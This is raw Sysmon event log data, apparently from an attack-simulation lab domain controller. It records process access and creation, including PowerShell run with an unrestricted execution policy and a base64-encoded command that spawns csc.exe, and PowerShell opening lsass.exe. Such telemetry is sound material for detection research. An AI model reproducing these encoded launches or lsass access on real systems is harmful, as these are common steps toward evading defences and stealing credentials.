10341000x8000000000000000266Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000265Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000264Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000263Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000262Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000261Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000260Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000259Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-2724-5F80-0500-000000007E01}6401156C:\Windows\system32\csrss.exe{A5F018FF-289A-5F80-0403-000000007E01}4428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000258Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-2899-5F80-0203-000000007E01}46924300C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-289A-5F80-0403-000000007E01}4428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFF224BB68F) 154100x8000000000000000257Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.022{A5F018FF-289A-5F80-0403-000000007E01}4428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\4wwbwlsx.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2899-5F80-038A-110000000000}0x118a030HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x8000000000000000256Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.018{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\4wwbwlsx.cmdline2020-10-09 09:08:42.018 11241100x8000000000000000255Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:08:42.018{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\4wwbwlsx.dll2020-10-09 09:08:42.018 10341000x8000000000000000475Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.955{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-289B-5F80-1103-000000007E01}5036C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000474Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.955{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-289B-5F80-1103-000000007E01}5036C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000473Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.924{A5F018FF-289B-5F80-1103-000000007E01}5036C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_t30bgomq.gmb.ps12020-10-09 09:08:43.924 10341000x8000000000000000472Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.909{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-289B-5F80-1103-000000007E01}5036C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000471Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-289B-5F80-0F03-000000007E01}42284256C:\Windows\system32\conhost.exe{A5F018FF-289B-5F80-1103-000000007E01}5036C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000470Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000469Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000468Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000467Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000466Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000465Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000464Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000463Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000462Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C: